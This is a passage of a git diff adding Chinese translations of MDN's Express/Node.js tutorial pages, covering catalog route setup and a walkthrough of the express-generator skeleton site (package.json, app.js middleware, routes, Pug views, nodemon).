URL 路由。</p> + +<p>站点骨架中有一个 <strong>./routes</strong> 文件夹,其中包含两个路由文件:index 和 user,在这里新建一个 <strong>catalog.js</strong> 路由文件,如下所示:</p> + +<pre class="notranslate">/express-locallibrary-tutorial // 项目根目录 + /routes + index.js + users.js + <strong>catalog.js</strong></pre> + +<div class="blockIndicator note"> +<p><strong>译注:</strong>可到 GitHub 下载完整的 <a href="https://raw.githubusercontent.com/roy-tian/mdn-examples/master/server/express-locallibrary-tutorial/routes/catalog.js">catalog.js</a>。</p> +</div> + +<p><strong>/routes/</strong><strong>catalog.js</strong> 中有以下代码:</p> + +<pre class="brush: js notranslate">const express = require('express'); +const router = express.Router();<strong> +</strong> +// 导入控制器模块 +const book_controller = require('../controllers/bookController'); +const author_controller = require('../controllers/authorController'); +const genre_controller = require('../controllers/genreController'); +const book_instance_controller = require('../controllers/bookinstanceController'); + +/// 藏书路由 /// + +// GET 获取藏书编目主页 +router.get('/', book_controller.index); + +// GET 请求添加新的藏书。注意此项必须位于显示藏书的路由(使用了 id)之前。 +router.get('/book/create', book_controller.book_create_get); + +// POST 请求添加新的藏书 +router.post('/book/create', book_controller.book_create_post); + +// GET 请求删除藏书 +router.get('/book/:id/delete', book_controller.book_delete_get); + +// POST 请求删除藏书 +router.post('/book/:id/delete', book_controller.book_delete_post); + +// GET 请求更新藏书 +router.get('/book/:id/update', book_controller.book_update_get); + +// POST 请求更新藏书 +router.post('/book/:id/update', book_controller.book_update_post); + +// GET 请求藏书 +router.get('/book/:id', book_controller.book_detail); + +// GET 请求完整藏书列表 +router.get('/books', book_controller.book_list); + +/// 藏书副本、藏书种类、作者的路由与藏书路由结构基本一致,只是无需获取主页 /// + +module.exports = router; +</pre> + +<p>该模块导入了 <code>express</code> 并创建了一个 <code>Router</code> 对象 <code>router</code>。所有路由都设置在 <code>router</code> 上,最后将其导出。</p> + +<p>对 <code>router</code> 对象调用 <code>.get()</code> 或<code>.post()</code> 函数即可定义路由。这里所有路径都使用字符串定义(而不用字符串模式或正则表达式)。某些特定资源(如藏书)的路由使用路径参数从 URL 中获取对象标识。</p> + +<p>处理函数均导入自上文的控制器模块。</p> + +<h3 id="更新_index_路由模块">更新 index 路由模块</h3> + +<p>新路由已经设置完毕,还需要设置一下 <code>index</code> 模块。我们将网站的首页重定向(<code>redirect</code>)至刚创建的地址 '<code>/catalog</code>'。</p> + +<p>将 <strong>/routes/index.js</strong> 中的中间件修改一下:</p> + +<pre class="brush: js notranslate">// GET 请求主页 +router.get('/', (req, res) => { + res.redirect('/catalog'); +});</pre> + +<div class="note"> +<p><strong>注:</strong>这是我们第一次使用 <a href="https://expressjs.com/en/4x/api.html#res.redirect">redirect()</a> 响应方法。它会使路由重定向到指定的页面,默认发送 HTTP 状态代码“302 Found”。可以根据需要更改返回的状态代码、设置绝对或相对路径。</p> +</div> + +<h3 id="更新_app.js">更新 app.js</h3> + +<p>最后一步是在 <code>app.js</code> 中将路由添加到中间件链。</p> + +<p>打开 <strong>app.js</strong>,在 <code>index</code> 和 <code>users</code> 路由下方添加 <code>catalog</code> 路由:</p> + +<pre class="brush: js notranslate">const indexRouter = require('./routes/index'); +const usersRouter = require('./routes/users'); +<strong>const catalogRouter = require('./routes/catalog'); // 导入 catalog 路由</strong></pre> + +<p>然后在已定义的路由下方将目录路由添加进中间件栈:</p> + +<pre class="brush: js notranslate">app.use('/', indexRouter); +app.use('/users', usersRouter); +<strong>app.use('/catalog', catalogRouter); // 将 catalog 路由添加进中间件链</strong></pre> + +<div class="note"> +<p><strong>注:</strong>我们将图书编目模块添加到了 <code>'/catalog'</code> 路径,该路径是 catalog 模块中所有路径的前缀。例如,访问藏书列表 的URL 为:<code>/catalog/books/</code>。</p> +</div> + +<p>大功告成。LocalLibrary 网站所需的所有 URL 的路由和框架函数都已准备完毕。</p> + +<h3 id="测试路由">测试路由</h3> + +<p>要测试路由,先要启动网站</p> + +<ul> + <li>默认方法 + <pre class="brush: bash notranslate"><code>$ DEBUG=express-locallibrary-tutorial:* npm start</code> +</pre> + </li> + <li>如果设置过 <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">nodemon</a>,则可以使用: + <pre class="brush: bash notranslate">$ DEBUG=express-locallibrary-tutorial:* npm <strong style="font-family: inherit; font-size: 1rem;">run devstart</strong> +</pre> + </li> +</ul> + +<div class="blockIndicator note"> +<p><strong>译注:</strong>以上命令只对 bash 有效,要在 Windows 上使用 bash,最简单的方法就是安装 Git。(详情参见 <a href="zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website#使用应用生成器">教程 2 相关译注</a>)</p> +</div> + +<p>接下来浏览上面一些 URL,确保不会收到错误页面(HTTP 404)。可以尝试以下示例:</p> + +<ul> + <li><a href="http://localhost:3000/">http://localhost:3000/</a></li> + <li><a href="http://localhost:3000/catalog">http://localhost:3000/catalog</a></li> + <li><a href="http://localhost:3000/catalog/books">http://localhost:3000/catalog/books</a></li> + <li><a href="http://localhost:3000/catalog/bookinstances/">http://localhost:3000/catalog/bookinstances</a></li> + <li><a href="http://localhost:3000/catalog/authors/">http://localhost:3000/catalog/authors</a></li> + <li><a href="http://localhost:3000/catalog/genres/">http://localhost:3000/catalog/genres</a></li> + <li><a href="http://localhost:3000/catalog/book/5846437593935e2f8c2aa226/">http://localhost:3000/catalog/book/5846437593935e2f8c2aa226</a></li> + <li><a href="http://localhost:3000/catalog/book/create">http://localhost:3000/catalog/book/create</a></li> +</ul> + +<h2 id="小结">小结</h2> + +<p>网站的路由已创建完毕,接下来的教程将把完整的实现填入控制器框架中。藉此来学习 Express 路由的基础知识,以及组织路由和控制器的一些方式。</p> + +<p>下一节将使用视图 (模板) 和模型里的信息创建一个欢迎页面。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="http://www.expressjs.com.cn/starter/basic-routing.html">路由基础</a> (Express 官方文档)</li> + <li><a href="http://expressjs.com/en/guide/routing.html">路由简介</a> (Express 官方文档)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 入门</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">设置 Node(Express)开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程:本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2:创建站点框架</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3:使用数据库(Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4:路由和控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5:显示图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6:使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7:部署至生产环境</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/skeleton_website/index.html b/files/zh-cn/learn/server-side/express_nodejs/skeleton_website/index.html new file mode 100644 index 0000000000..077b7a3862 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/skeleton_website/index.html @@ -0,0 +1,476 @@ +--- +title: Express 教程 2:创建站点框架 +slug: learn/Server-side/Express_Nodejs/skeleton_website +tags: + - Express + - Node + - node.js + - npm + - 入门 + - 初学者 + - 学习 + - 开发环境 + - 服务器端 + - 服务器端编程 +translation_of: Learn/Server-side/Express_Nodejs/skeleton_website +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p> + +<p class="summary">本节将演示如何创建一个可添加路由、模板/视图、和数据库调用的“骨架”站点。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">配置 Node 开发环境</a>。复习 Express 教程。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>掌握用 <strong>Express 应用生成器</strong> 创建站点的方法。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>本节演示了如何使用 <a href="http://www.expressjs.com.cn/starter/generator.html">Express 应用生成器</a> 创建一个可添加路由、模板/视图和数据库调用的“骨架”网站。这里我们将使用该生成器为 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">本地图书馆网站</a> 创建框架,以便在以后章节添加其它代码。过程非常简单,只需要在命令行运行 “生成器 + 项目名称” 即可,此外还可以指定站点的模板引擎和 CSS 生成器。</p> + +<p>以下内容介绍了应用生成器的用法,以及视图 / CSS 的一些不同选项。还介绍了骨架站点的组织结构。最后,我们将介绍站点的运行方法,从而对其进行验证。</p> + +<div class="note"> +<p><strong>注:</strong>Express 应用生成器并非唯一的 Express 应用生成工具,而且生成项目的结构也不是组织文件和目录的唯一可行方式。但生成项目具有易于扩展和理解的模块化结构。最简单的 Express 应用请参阅 <a href="http://expressjs.com.cn/starter/hello-world.html">Hello world 示例</a>(Express 镜像站)。</p> +</div> + +<h2 id="使用应用生成器">使用应用生成器</h2> + +<div class="blockIndicator note"> +<p><strong>译注:</strong>本教程中命令操作基于 Linux/macOS 的 bash 终端,Windows 的命令提示符 cmd/PowerShell 与 bash 的概念和用法略有不同, 为在 Windows 上获得一致的体验,可以:</p> + +<ul> + <li>自己弄懂 cmd/PowerShell 与 bash 的区别。</li> + <li>使用 <a href="https://git-scm.com/">Git</a> 或 <a href="http://www.msys2.org/">MSYS2</a> 为 Windows 提供的 bash。(推荐)</li> + <li>使用 Windows 的 Linux 子系统。(到 Microsoft Store 中搜索“Linux”,安装喜欢的版本(Ubuntu 18.04、openSUSE 42、Debian 等),仅限 Windows 10,使用前需要先安装 <a href="https://docs.microsoft.com/en-us/windows/wsl/install-win10">WSL</a>)</li> +</ul> +</div> + +<div class="blockIndicator note"> +<p><strong>译注:</strong>你可能已经发现国内用 NPM 太慢了!这是由众所周知的不可抗力造成的。可用淘宝提供的 <a href="https://npm.taobao.org/">CNPM</a> 代替之,功能和用法基本一致(只是不能上传自己的包)。</p> +</div> + +<p>你应该已经安装好了生成器,它是 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">设置 Node 开发环境</a> 的一部分。可以使用 NPM 来安装全局的生成器,如下所示:</p> + +<pre class="brush: bash notranslate">$ sudo npm install express-generator -g</pre> + +<p>生成器有许多选项,可以使用 <code>--help</code>(或 <code>-h</code>)命令进行查看:</p> + +<p><img alt="express 生成器的帮助信息" src="https://mdn.mozillademos.org/files/16407/express-help.png"></p> + +<p>大意如下:</p> + +<pre class="brush: bash notranslate">$ express --help + + 用法:express [选项] [目录] + + 选项: + + --version 打印版本号 + -e, --ejs 添加 ejs 引擎支持 + --pug 添加 pug 引擎支持 + --hbs 添加 handlebars 引擎支持 + -H, --hogan 添加 hogan.js 引擎支持 + -v, --view <engine> 添加 <engine> 试图引擎支持 (ejs|hbs|hjs|jade|pug|twig|vash) (默认为 jade) + -c, --css <engine> 添加 <engine> 样式表引擎支持 (less|stylus|compass|sass) (默认为纯 css) + --git 添加 .gitignore + -f, --force 对非空文件夹强制执行 + -h, --help 打印帮助信息 +</pre> + +<p>可以直接运行 express 命令,将使用 Jade 视图引擎和纯 CSS 在当前目录中创建项目。(如果指定目录名,则在子目录中创建项目)。</p> + +<pre class="brush: bash notranslate">$ express</pre> + +<p>还可以使用 <code>--view</code> 选择视图(模板)引擎,并且/或者使用 <code>--css</code> 选择 CSS 生成引擎。</p> + +<div class="note"> +<p><strong>注:</strong>不推荐用 <code>--hogan</code>、<code>--ejs</code>、<code>--hbs</code> 等参数选用模板引擎。请使用 <code>--view</code>(或 <code>-v</code>)。</p> +</div> + +<h3 id="我应该用哪个视图引擎?">我应该用哪个视图引擎?</h3> + +<p>Express 应用生成器支持多款流行的视图/模板引擎,包括 <a href="https://www.npmjs.com/package/ejs">EJS</a>、<a href="http://github.com/donpark/hbs">Hbs</a>、<a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade)、<a href="https://www.npmjs.com/package/twig">Twig</a> 和 <a href="https://www.npmjs.com/package/vash">Vash</a>,缺省选项是 Jade。Express 本身也支持大量其他模板语言,<a href="https://github.com/expressjs/express/wiki#template-engines">开箱即用</a>。</p> + +<div class="note"> +<p><strong>注:</strong>如果要使用生成器不支持的模板引擎,请参阅 <a href="http://expressjs.com.cn/guide/using-template-engines.html">在 Express 中使用模板引擎</a>(Express 文档)和所选视图引擎的文档。</p> +</div> + +<p>一般来说,你应该选择一个大而全的模板引擎,可以尽快进入生产状态。就像你选择其他组件一样!选用模板引擎需要考虑以下因素:</p> + +<ul> + <li>进入生产状态的时间——如果你的团队已经有某个模板语言的经验,那么用它可能更快进入生产状态。否则你应该考虑所选模板引擎的学习曲线。</li> + <li>流行度和活跃度——要评估所选引擎的流行程度,以及它是否拥有活跃的社区。在网站的生命周期中遇到问题时,是否能够获得相关支持非常重要。</li> + <li>风格——某些模板引擎使用特定标记,来标识插入“普通” HTML 中的内容,而另一些模板引擎使用不同的语法(例如使用缩进和块名称)构造 HTML。</li> + <li>性能/渲染时间。</li> + <li>功能——你应该考虑所选引擎是否具有以下功能: + <ul> + <li>布局继承:可以定义基本模板,然后 “继承” 它的一部分,使不同页面可以有不同的呈现。这通常比包含大量所需组件,或每次从头开始构建模板更好。</li> + <li>“包含”支持:可以通过包含其他模板来构建新模板。</li> + <li>简明的变量和循环控制语法。</li> + <li>能够在模板级别过滤变量值(例如,将变量设置为大写,或格式化日期值)。</li> + <li>能够生成 HTML 以外的输出格式(例如 JSON 或 XML)。</li> + <li>支持异步操作和流。</li> + <li>可以在同时在客户端和服务器上使用。如果一款模板引擎可以在客户端使用,那么就使在客户端托管数据并完成所有(或大多数)渲染成为可能。</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>提示:</strong>互联网上有许多资源,可帮助你选择合适的视图/模板引擎。</p> +</div> + +<p>本项目选用<a href="https://pugjs.org/api/getting-started.html"> Pug </a>模板引擎(Jade 是它不久前的曾用名),它是最流行的 Express / JavaScript 模板语言之一,且对 Express 生成器 <a href="https://github.com/expressjs/express/wiki#template-engines">开箱即用</a>。</p> + +<h3 id="我应该用哪个_CSS_引擎?">我应该用哪个 CSS 引擎?</h3> + +<p>Express 应用生成器支持最常见的 CSS 引擎:<a href="http://lesscss.org/">LESS</a>, <a href="http://sass-lang.com/">SASS</a>, <a href="http://compass-style.org/">Compass</a>, <a href="http://stylus-lang.com/">Stylus</a>。</p> + +<div class="note"> +<p><strong>注:</strong>CSS 的一些限制导致某些任务完成起来非常困难。CSS 引擎提供了更强大的语法来定义 CSS,然后将定义编译为纯 CSS 供浏览器使用。</p> +</div> + +<p>与模板引擎一样,你也应该使用样式表引擎,这可以最大化团队生产力。本项目将使用原始 CSS(默认的),因为我们对 CSS 要求不复杂,没有必要使用引擎。</p> + +<h3 id="我应该用哪个数据库?">我应该用哪个数据库?</h3> + +<p>生成器生成的代码不使用、也不包含任何数据库。 Express 应用可以使用 Node 支持的所有 <a href="https://expressjs.com/en/guide/database-integration.html">数据库</a>(Express 本身不提供数据库管理机制)。</p> + +<p>我们后续讨论数据库集成问题。</p> + +<h2 id="创建项目">创建项目</h2> + +<p>我们为本地图书馆应用创建一个名为 express-locallibrary-tutorial 的项目,使用 Pug 模板库,不使用 CSS 引擎。</p> + +<p>首先,进入准备放置项目的目录,然后在命令提示符运行 Express 应用生成器,生成器将创建(并列出)项目的文件:</p> + +<p><img alt="用 express 生成器生成一个应用" src="https://mdn.mozillademos.org/files/16408/express.png"></p> + +<p>生成器在最后还告诉你如何安装(<strong>package.json</strong> 中所列的)依赖,以及如何运行该应用。</p> + +<h2 id="运行骨架网站">运行骨架网站</h2> + +<p>现在我们已经拥有一个完整的项目骨架。虽然这个网站现在还做不了什么,但运行一下,展示一下工作原理也是值得的。</p> + +<ol> + <li>首先,安装依赖项(<code>install</code> 命令将获取项目的 <strong>package.json</strong> 文件中列出的所有依赖项包)。 + + <pre class="brush: bash notranslate">$ npm install</pre> + </li> + <li>然后运行该应用。 + <pre class="brush: bash notranslate">$ DEBUG=express-locallibrary-tutorial:* npm start</pre> + </li> + <li>最后在浏览器中导航至 <a href="http://localhost:3000/">http://localhost:3000/</a> ,就可以访问该应用。你应该可以看到: <img alt="Express 应用生成器生成的应用启动成功" src="https://mdn.mozillademos.org/files/16410/success.png"></li> +</ol> + +<p>一个 Express 应用就配置成功了,它托管于 localhost:3000。</p> + +<div class="note"><strong>注:</strong>指定 DEBUG 变量可启用控制台日志记录/调试。例如,当你访问上面的页面时,你会看到像这样的调试输出: <img alt="用 npm start 启动这个应用" src="https://mdn.mozillademos.org/files/16409/npm-start.png"> 直接通过 <code>npm start</code> 命令启动应用也可以,但不会看到调试信息。</div> + +<h2 id="文件改动时重启服务器">文件改动时重启服务器</h2> + +<p>只有重启服务器才能看到 Express 网站所做的改动。每次改动后手动启停服务器实在太烦人了,有必要花点时间让这项工作自动化。</p> + +<p><a href="https://github.com/remy/nodemon">nodemon</a> 是最简便的自动化工具之一。通常将其全局安装(因为它是一个“工具”):</p> + +<pre class="brush: bash notranslate">$ sudo npm install -g nodemon</pre> + +<p>这里还可以把它作为开发依赖将安装在本地,于是使用这个项目的开发人员只要安装这个应用就能自动获得。通过以下命令将其安装在骨架项目的根目录:</p> + +<pre class="brush: bash notranslate">$ npm install --save-dev nodemon</pre> + +<p>项目的 <strong>package.json</strong> 文件将自动添加一个新的属性:</p> + +<pre class="brush: json notranslate"> "devDependencies": { + "nodemon": "^1.18.9" + } +</pre> + +<p>如果没有全局安装该工具,就无法从命令行启动它(除非我们将其添加到路径中),但是可以在 NPM 脚本中调用它,因为 NPM 掌握所有已安装包的信息。找到 package.json 的 <code>scripts</code> 部分。在 <code>"start"</code> 一行的末尾添加逗号,并在新的一行中添加 <code>"devstart"</code>,如下所示:</p> + +<pre class="brush: json notranslate"> "scripts": { + "start": "node ./bin/www"<strong>,</strong> +<strong> "devstart": "nodemon ./bin/www"</strong> + }, +</pre> + +<p>现在可以用新建的 <code>devstart</code> 命令启动服务器:</p> + +<pre class="brush: bash notranslate">$ DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong></pre> + +<p>现在,如果编辑项目中的任何文件,服务器将自动重启(或者可以随时使用 rs 命令来重启)。查看更新后的页面需要点击浏览器的“刷新”按钮。</p> + +<div class="note"> +<p><strong>注:</strong>这里必须使用“<code>npm <strong>run <em><scriptname></em></strong></code>”命令,而不是 <code>npm start</code>,因为 “start” 本质上是映射到脚本的一条 NPM 命令。我们可以在 <code>start</code> 脚本中替换它,但我们只想在开发期间使用 nodemon,因此有必要创建一条新的脚本命令。</p> +</div> + +<h2 id="生成的项目">生成的项目</h2> + +<p>我们来看看刚刚创建的项目。</p> + +<h3 id="目录结构">目录结构</h3> + +<p>安装好依赖项的生成项目具有如下文件结构(<strong>不</strong>带 “/” 前缀的是文件):</p> + +<pre class="notranslate">/express-locallibrary-tutorial + <strong>app.js</strong> + /bin + <strong>www</strong> + <strong>package.json</strong> + /node_modules + [约 4,500 个子文件夹和文件] + /public + /images + /javascripts + /stylesheets + <strong>style.css</strong> + /routes + <strong>index.js</strong> + <strong>users.js</strong> + /views + <strong>error.pug</strong> + <strong>index.pug</strong> + <strong>layout.pug</strong> + +</pre> + +<p><strong>package.json </strong>文件定义依赖项和其他信息,以及一个调用应用入口(<strong>/bin/www</strong>,一个 JavaScript 文件)的启动脚本,脚本中还设置了一些应用的错误处理,加载 <strong>app.js </strong>来完成其余工作。<strong>/routes</strong> 目录中用不同模块保存应用路由。/<strong>views</strong> 目录保存模板。</p> + +<p>下面来详细介绍这些文件。</p> + +<h3 id="package.json">package.json</h3> + +<p><strong>package.json </strong>文件中定义了应用依赖和其他信息:</p> + +<pre class="brush: json notranslate">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www" + "devstart": "nodemon ./bin/www" + }, + "dependencies": { + "cookie-parser": "~1.4.3", + "debug": "~2.6.9", + "express": "~4.16.0", + "http-errors": "~1.6.2", + "morgan": "~1.9.0", + "pug": "2.0.0-beta11" + }, + "devDependencies": { + "nodemon": "^1.18.9" + } +} +</pre> + +<p>依赖包括 <em>express</em> 包,和选用的视图引擎包(<em>pug</em>)。还有以下一些实用的包:</p> + +<ul> + <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>:用于解析 cookie 头来填充 <code>req.cookies</code>(提供了访问 cookie 信息的便捷方法)。</li> + <li><a href="https://www.npmjs.com/package/debug">debug</a>:一个小型 node 调试程序,仿照 node 核心的调试技术建立。</li> + <li><a href="https://www.npmjs.com/package/http-errors">http-errors</a>:处理错误中间件。</li> + <li><a href="https://www.npmjs.com/package/morgan">morgan</a>:node 专用 HTTP 请求记录器中间件。</li> +</ul> + +<p>"<code>scripts</code>" 部分,定义了一个 "<code>start</code>" 脚本,当运行 <code>npm start</code> 时会调用它来启动服务器。在脚本定义中可以看到 <code>start</code> 实际上运行了 "node <strong>./bin/www"</strong>。还有一个 "<code>devstart</code>" 脚本,可以通过运行 <code>npm run devstart</code> 来运行 "nodemon <strong>./bin/www</strong>"。</p> + +<pre class="brush: json notranslate"> "scripts": { + "start": "node ./bin/www", + "devstart": "nodemon ./bin/www" + }, +</pre> + +<h3 id="www_文件">www 文件</h3> + +<p>文件 <strong>/bin/www </strong>是应用入口!它做的第一件事是 <code>require()</code> “真实” 的应用入口(即项目根目录中的 <strong>app.js</strong> ),<strong>app.js </strong>会设置并返回 <code><a href="http://expressjs.com/en/api.html">express()</a></code><a href="http://expressjs.com/en/api.html"> </a>应用对象。</p> + +<pre class="brush: js notranslate">#!/usr/bin/env node + +/** + * Module dependencies. + * 模块依赖项。 + */ + +<strong>var app = require('../app');</strong> +</pre> + +<div class="note"> +<p><strong>注:</strong><code>require()</code> 是一个全局的 node 函数,可将模块导入当前文件。这里使用相对路径指定<strong> app.js</strong> 模块,并省略了 .<strong>js</strong> 扩展名(可选)。</p> +</div> + +<p>文件的其余部分先为 <code>app</code> 设置端口(环境变量中的预定义值或默认值 3000),再创建一个 HTTP 服务器,然后开始监听请求,报告服务器错误和连接信息。其它内容可暂时忽略(这里所有内容都是机器生成的模板),但感兴趣的话可以随时回来看看。</p> + +<h3 id="app.js">app.js</h3> + +<p>此文件创建一个 <code>express</code> 应用对象(依照惯例命名为 <code>app</code>),通过各种设置选项和中间件来设置这个应用,然后从该模块中导出。以下代码只展示了文件中创建和导出应用对象的部分:</p> + +<pre class="brush: js notranslate"><code>var express = require('express'); +var app = express(); +... +</code>module.exports = app; +</pre> + +<p>上文的<strong> www</strong> 入口文件中 <code>require()</code> 的 <code>app</code> 就是这里导出的 。</p> + +<p>我们来详细了解一下<strong> app.js</strong> 文件。首先,它使用 <code>require()</code> 导入了一些实用 node 库,其中包括之前用 NPM 下载的 <code>express</code>,<code>http-errors</code>,<code>morgan</code> 和 <em><code>cookie-parser</code>,还有一个 </em><em><code>path</code> </em>库,它是用于解析文件和目录的核心 node 库。</p> + +<pre class="brush: js notranslate">var express = require('express'); +var createError = require('http-errors'); +var logger = require('morgan'); +var cookieParser = require('cookie-parser'); +var path = require('path'); +</pre> + +<p>然后 <code>require()</code> 的是用户路由目录中的模块。这些模块/文件用于处理特定的“路由”(URL 路径)。可以通过添加新文件来扩展骨架应用,比如添加图书相关的路由来列出所有馆藏书目。</p> + +<pre class="brush: js notranslate">var indexRouter = require('./routes/index'); +var usersRouter = require('./routes/users'); +</pre> + +<div class="note"> +<p><strong>注意:</strong> 此时我们刚刚导入了模块;还没有真正使用过其中的路由(稍后会使用)。</p> +</div> + +<p>下面我们用导入的 <code>express</code> 模块来创建 <code>app</code> 对象,然后使用它来设置视图(模板)引擎。设置引擎分两步:首先设置 '<code>views</code>' 以指定模板的存储文件夹(此处设为子文件夹 <strong>/views</strong>)。然后设置 '<code>view engine</code>' 以指定模板库(本例中设为 “pug” )。</p> + +<pre class="brush: js notranslate">var app = express(); + +// view engine setup +// 视图引擎设定 +app.set('views', path.join(__dirname, 'views')); +app.set('view engine', 'pug'); +</pre> + +<p>下一组 <code>app.use()</code> 调用将中间件库添加进请求处理链。除了之前导入的第三方库之外,我们还使用 <code>express.static</code> 中间件将项目 <strong>/public</strong> 目录下所有静态文件托管至根目录。</p> + +<pre class="brush: js notranslate">app.use(logger('dev')); +app.use(express.json()); +app.use(express.urlencoded({ extended: false })); +app.use(cookieParser()); +<strong>app.use(express.static(path.join(__dirname, 'public')));</strong> +</pre> + +<p>所有中间件都已设置完毕,现在把(之前导入的)路由处理器添加到请求处理链中。从而为网站的不同部分定义具体的路由:</p> + +<pre class="brush: js notranslate">app.use('/', indexRouter); +app.use('/users', usersRouter); +</pre> + +<div class="note"> +<p><strong>注:</strong>这些路径(<code>'/'</code> 和 '<code>/users'</code>)将作为导入路由的前缀。如果导入的模块 <code>users<font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #fff3d4;">在</span></font></code><code>/profile</code> 定义了路由,则可以在 <code>/users/profile</code> 访问该路由。我们将在后面的文章中,详细讨论路由。</p> +</div> + +<p>最后一个中间件为错误和 HTTP 404 响应添加处理方法。</p> + +<pre class="brush: js notranslate">// catch 404 and forward to error handler +// 捕获 404 并抛给错误处理器 +app.use(function(req, res, next) { + next(createError(404)); +}); + +// error handler +// 错误处理器 +app.use(function(err, req, res, next) { + // set locals, only providing error in development + // 设置 locals,只在开发环境提供错误信息 + res.locals.message = err.message; + res.locals.error = req.app.get('env') === 'development' ? err : {}; + + // render the error page + // 渲染出错页面 + res.status(err.status || 500); + res.render('error'); +}); +</pre> + +<p>Express 应用对象(<code>app</code>)现已完成配置。最后一步是将其添加到 <code>exports</code> 模块(使它可以通过 <strong>/bin/www </strong>导入)。</p> + +<pre class="brush: js notranslate">module.exports = app;</pre> + +<h3 id="路由">路由</h3> + +<p>路由文档 <strong>/routes/users.js </strong>如下所示(由于路由文件均使用类似结构,所以 <strong>index.js</strong> 略过不讲)。首先加载 <code>express</code> 模块并获取 <code>express.Router</code> 对象(命名为 <code>router</code>)。然后为 <code>router</code> 指定路由,最后导出 <code>router</code>(就可以导入 <strong>app.js</strong> 了)。</p> + +<pre class="brush: js notranslate">var express = require('express'); +var router = express.Router(); + +/* GET users listing. */ +<strong>router.get('/', function(req, res, next) { + res.send('respond with a resource'); +});</strong> + +module.exports = router; +</pre> + +<p>该路由定义了一个回调,在检测到正确模式的 HTTP <code>GET</code> 请求时将调用该回调。正确模式即导入模块时指定的路由('<code>/users</code>')加该模块('<code>/</code>')中定义的任何内容。换句话说,在收到 <code>/users/</code> URL 时使用此路由。</p> + +<div class="note"> +<p><strong>提示:</strong>用 node 启动该应用并访问 <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>,浏览器会返回一条消息:'respond with a resource'。</p> +</div> + +<p>值得注意的是,上述回调函数有第三个参数 '<code>next</code>',因此它是一个中间件函数,而不是简单的路由回调。<code>next</code> 参数暂时还用不到,在 <code>'/'</code> 路径中添加多个路由处理器时才会涉及。</p> + +<h3 id="视图(模板)">视图(模板)</h3> + +<p>视图(模板)存保存在 <strong>/views</strong> 目录中( <strong>app.js</strong> 中指定),使用 <strong>.pug </strong>扩展名。 <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> 方法用某对象的某个变量值一同来渲染一个特定的模板,然后将结果作为响应发送。在 <strong>/routes/index.js</strong> 中可以看到,该路由使用 '<code>index</code>' 模板和一个模板变量 <code>title</code> 来渲染响应。</p> + +<pre class="brush: js notranslate">/* GET home page. */ +router.get('/', function(req, res) { + res.render('index', { title: 'Express' }); +}); +</pre> + +<p>以下是上文代码中涉及到的模板(<strong>index.pug</strong>)。pug 语法稍后再详细讨论。现在只需要知道:<code>title</code> 变量将以 <code>'Express'</code> 作为值插入模板的指定位置。</p> + +<pre class="notranslate">extends layout + +block content + h1= title + p Welcome to #{title} +</pre> + +<h2 id="挑战自我">挑战自我</h2> + +<p>在 <strong>/routes/users.js</strong> 中添加一个新路由,在URL <code>/users/cool/</code> 处显示文本 "你好酷"。运行服务器,并在浏览器中访问 <a href="http://localhost:3000/users/cool/">http://localhost:3000/users/cool/ </a>,测试一下是否成功。</p> + +<ul> +</ul> + +<h2 id="小结">小结</h2> + +<p>现在你已经为 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">本地图书馆</a> 创建好了骨架,并且成功在 node 上运行起来。同时最重要的是,你了解了项目的结构,从而了解了如何为本地图书馆添加路由和视图。</p> + +<p>下一节我们开始修改骨架,让它具备一些图书馆网站的功能。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="http://www.expressjs.com.cn/starter/generator.html">Express 应用生成器</a> (Express 中文镜像文档)</li> + <li><a href="http://www.expressjs.com.cn/guide/using-template-engines.html">在 Express 中使用模板引擎</a>(Express 镜像文档)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", 